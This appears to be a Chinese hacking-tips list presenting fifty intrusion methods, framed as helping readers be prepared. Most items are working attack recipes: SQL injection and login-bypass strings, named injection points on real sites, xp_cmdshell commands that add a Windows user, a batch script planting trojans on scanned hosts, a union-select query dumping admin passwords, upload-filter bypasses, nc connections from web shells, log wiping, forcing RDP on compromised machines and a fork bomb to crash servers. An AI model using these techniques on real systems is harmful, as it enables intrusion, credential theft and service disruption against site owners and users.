现在网上的攻击事件越来越多，黑客都是通过什么方法来攻击我们的呢？下面我们给大家总结了黑客入侵网络的五十种方法，让大家做到有备无患。

1.网宽网络有限公司制作的网站基本都有注入漏洞 搜索网宽网络

2.搜索栏里输入

关键字%'and 1=1 and '%'='

关键字%'and 1=2 and '%'='

比较不同处 可以作为注入的特征字符

3.登陆框用户名和密码输入'or'='or' 漏洞很老但是现在很是遍地都是

4.我们先到www.google.com底下搜索一下co net mib ver 1.0

密码帐号都是 'or'='or'

5.挂马代码

6.http://www.wyyfk.com/24小时挂qq工具

7.开启regedt32的sam的管理员权限 检查hkey_local_machine\sam\sam\和hkey_local_machine\sam\sam\下的管理员和guest的f键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡,这方法是简单克隆,

net localgroup administrators还是可以看出guest是管理员来

7.只要敢想,新浪也可入侵 注入点

http://igame.sina.com.cn/plaza/event/new/crnt_event_view.asp?event_id=59

微软官方网站注入点

http://www.microsoft.com/library/toolbar/3.0/search.aspx?view=en-us&charset=iso-8859-1&qu=

8.ms05016攻击工具用法 mshta.exe test.hta 文件名.后缀名 可以绑上qq大盗木马

9.有sa权限sqlserver数据库、并且能sql注入支持fso+asp的服务器

sql注入后，如何上传木马,

文章地址 http://hack123.home4u.china.com/0601.htm

10.qq强制聊天代码

http://wpa.qq.com/msgrd?v=1&uin=对方的qq号&site=ioshenmue&menu=yes

使用方法：把代码中的红色的"********"星号换成你想与其聊天的qq号后复制到浏览器的地址栏处即可。无论他是否你的好友，你无须加他为好友就能给他发qq消息。

11. mybbs论坛cookie欺骗 后台备份马

12.软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂qq等

用法: 安装： instsrv.exe 服务名称 路径

卸载： instsrv.exe 服务名称 remove

13.以动网为例数据库查找dv_log,在上面的查询的字段名里选l_content后面的关键字填上password2,找到的username2=%b7%e7%a4%ce%b0%d7%d2%c2&password2=01180017&username1=%b7%e7%a4%ce%b0%d7%d2%c2&submit=%cc%ed+%bc%d3 password2=01180017就是他的登陆密码

14.搜索的技巧 inurl:网址

15.启航工作室wms 5.0网站程序漏洞

在baidu 搜索powered by: sailingstudio website manage system 5.0 (sp1)

利用动画看http://soft.77169.com/62/20050530/6824.html

16.很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测，也就是说，他会检测文件是不是有.jpg，那么我们要是把文件改成：ating.jpg.asp试试。。由于还是asp结尾，所以木马不会变~

17.天意商务系统网上依然有 有漏洞 网站具体的样式http://www.wzgcc.org/

工具下载www.hack6.com

地址栏里，填上天意商务系统的网址就可以了，注意一定要是主页面

18.sql注入时工具---internet选项---高级里找到显示友好的错误信息勾去掉

不能注入时要第一时间想到%5c暴库

19.这个dbinbd.asp文件插入后门的功能适用于文件名为.asp的所有access数据库 不是动网论坛也一样可以使用的,后门隐蔽，几乎发现不了

工具使用方法动画和所有文件

http://www.anquanwu.com/bbs/printpage.asp?boardid=2&id=811

20.缺少xp_cmdshell时

尝试恢复exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

假如恢复不成功,可以尝试直接加用户(针对开3389的)

declare @o int

exec sp_oacreate 'wscript.shell',@o out

exec sp_oamethod @o,'run',null,'cmd.exe /c net user ating ating /add'
再提到管理员

21.批量种植木马.bat

for /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$

复制木马到扫描的计算机当中

for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe
在对方计算机上运行木马的时间

扫描地址.txt里每个主机名一行 用\\开头

22.搜索 powered by discuz!4.0.0rc3 开放头像的可利用
工具地址www.hack6.com

23.dv7.1用还原数据功能 还原asa木马

24.凡人网络购物系统v6.0 可以%5c暴库

25.ipb2.0.2漏洞 构造语句

$qpid=1) and 1=2 union select
1,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1 from
ibf_members where id=1 /* 暴管理员密码 想看动画到黑基里找 ipb<=
2.0.3论坛注入工具 www.hack6.com有下载

26. 将工具传到邮箱 在下载上右击 复制快捷方式 拥有自己了的下载空间

27.北京冲qb要宽带号跟绑定宽带的后4位电话,当你扫出北京款待号的密码必须是8位的密码,而且开头是6或8的才可以,因为北京的电话都是6根8开头的而且都是8位的,北京的区名海淀 东城 西城 门头沟 丰台 潮阳 宣武 通州
昌平,去http://cnc.qq.com/bbn/冲

28.搜索 企业网络办公系统 添'or''=' 登陆 在个人邮箱 上传asp木马

29.本人原创 搜索"一点点星空驿站 留言本" 默认数据库是gbmdb.mdb
很多网站用这个留言本 但是用搜索引擎搜不到 可以给大家在入寝时多个思路

30.在程序上传shell过程中，程序不允许包含标记符号的内容的文件上传,比如蓝屏最小 的asp木马,我们来把他的标签换一下： 保存为.asp,程序照样 执行.

31.目录权限设置变态的话可以用一些方法(比如serv-u溢出)将此web用户提权
可访问全站目录挂马

32.喜欢网页挂马的看看这篇总结文章吧

http://77169.com/news/hk/2005060611656.html

33.搜索"images/admin" 或".tw/images/admin" 可以找到些台湾的数据库

34.iis6 for windows 2003 enterprise edition
如iis发布目录文件夹包含.asp后辍名.

将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.

.cer 等后缀的文件夹下都可以运行任何后缀的asp木马

35.telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的ip

然后用#clear logg和#clear line vty *删除日志

36.搜索关键字:"copyright 2003-2004 动易网络" 后面地址改成upfile_soft.asp 这样的漏洞很多

37.bbsxp的漏洞总结 powered by bbsxp 5.15/licence blog.asp中的对id 的过滤不严的漏洞 拿到管理员的前后台密码 工具：bbsxp完全版 cookies 欺骗 bbsxp 过滤了 asp 文件的上传 所以我们这里用 asa 来传马

38.学会总结入侵思路http://www.77169.com/news/hk/2005060811688.html

39.电脑坏了省去重新安装系统的方法

纯dos下执行，

xp:copy c:\windows\repair*.*□ 到□c:\windows\system32\config

2k: copy c:\winnt\repair*.*□ 到□c:\winnt\system32\config

40.一般人设置啊拉qq大盗的时候发信和收信都是同一个信箱，因此当我的机子中了此木马后没有立即杀掉进程，而是用内存编辑工具打开它的进程，查找smtp字样，就会找到它的信箱和密码了。只对1.5以前的管用.

41.内网控制内网 用vidc 还要有一只肉鸡 动画看黑基的

http://soft.77169.com/62/20050608/6878.html

42.有许多管理员用备份的日期做备份数据库的名字

比如http://www.hack6.com/bbs/databackup/20050601.mdb

43.动网数据库oldusername=%b5%f0%b7%c0&username2=%b5%f0%b7%c0&password2=19841202&adduser=%b5%f0%b7%c0&id=12&submit=%b8%fc+%d0%c2

不知道用户名(不是%b8%f0%b7%c0) 转化这个用他本身的页面

http://www.hack6.com/bbs/showerr.asp?boardid=0&errcodes=10,11&action=%cc%ee%d0%b4%b5%c7%c2%bc%d0%c5%cf%a2

%cc%ee%d0%b4%b5%c7%c2%bc%d0%c5%cf%a2这句话意思是"填写登录信息"

那么就把%cc%ee%d0%b4%b5%c7%c2%bc%d0%c5%cf%a2换成%b5%f0%b7%c0 可以看到用户名

44.对付信息监控系统 木马必须是加密的 如net user用不了就用net1 user等等
我是大连的 大连这边主机用这方法好用 可以直接传加密的马
用用黑基tyrant的方法 上传一个cmd的aspshall 用nc连接自己的nc监听端口
在web目录下写个加ftp用户的txt 本地43958用nc提交 ftp到服务器加用户

45.解决tcp/ip筛选 在注册表里有三处，分别是：

hkey_local_machine\system\controlset001\services\tcpip

hkey_local_machine\system\controlset002\services\tcpip

hkey_local_machine\system\currentcontrolset\services\tcpip

分别用

regedit -e d:\a.reg
hkey_local_machine\system\currentcontrolset\services\tcpip

regedit -e d:\b.reg hkey_local_machine\system\controlset002\services\tcpip

regedit -e d:\c.reg
hkey_local_machine\system\currentcontrolset\services\tcpip

命令来导出注册表项

然后把三个文件里的enablesecurityfilters"=dword:00000001，

改成enablesecurityfilters"=dword:00000000 再将以上三个文件分别用

regedit -s d:\a.reg regedit -s d:\b.reg regedit -s d:\c.reg 导入注册表即可

46.使chm木马无法在本地运行木马程序 将注册表"hkey_current_u

ser\software\microsoft\windows\currentversion\internet
settings\zones\0"下的1004项的值由原来十进制的0改为十六进制的3。

47.开3389的5种方法

(1)打开记事本，编辑内容如下：

echo [components] > c:\sql

echo tsenable = on >> c:\sql

sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q

编辑好后存为bat文件，上传至肉鸡，执行。

(2) (对xp\2000都有效) 脚本文件 本地开3389 工具:rots1.05

下载地址:www.netsill.com/rots.zip

在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本，例如：

c:\>cscript rots.vbs <目标ip> <用户名> <密码> [服务端口] [/r]

如果要对本地使用，ip地址为127.0.0.1或者一个点(用.表示)，用户名和密码都为空(

用 ""表示)。

(3)djshao正式版5.0

解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyx*.**e上传到肉鸡的c:\winnt\temp下，然后 进入c:\winnt\temp目录执行djxyx*.**e解压缩文件，然后再执行解压缩出来的azzd.exe文件，等一会肉鸡 会自动重启!重启后会出现终端服务

(4)下载dameware nt utilities 3.66.0.0 注册版

地址www.netsill.com/dwmrcw36600.zip

安装注册完毕后输入对方ip用户名密码，等待出现是否安装的对话框点是。

复制启动后出现对方桌面。

在对方桌面进入控制面版，点添加或删除程序。进入后点添加/删除windows组件，找到终端服务，点际进入
后在启动终端服务上打上勾。确定自动提示重起，重起后ok

(5)大家最常用的 3389.exe 下载地址www.hack6.com
把程序上传到肉鸡运行后重启既可

48.qq上得到别人的ip

一般跟别人聊天 如果是对方先对你说话 那么她的ip显示出来的概率就大

当然如果是我们找对方 可以先跟她说发过去消息之后 然后关闭窗口等待她的回复

还可以用天网防火墙选择上udp数据保检测,即可拦截到对方ip

49.挂马js代码[xss_clean]('');保存到js页面里 可让所有页面挂马

50.让服务器重启

写个bat死循环:

@echo off

:loop1

cls

start cmd.exe

goto loop1

保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启

（完）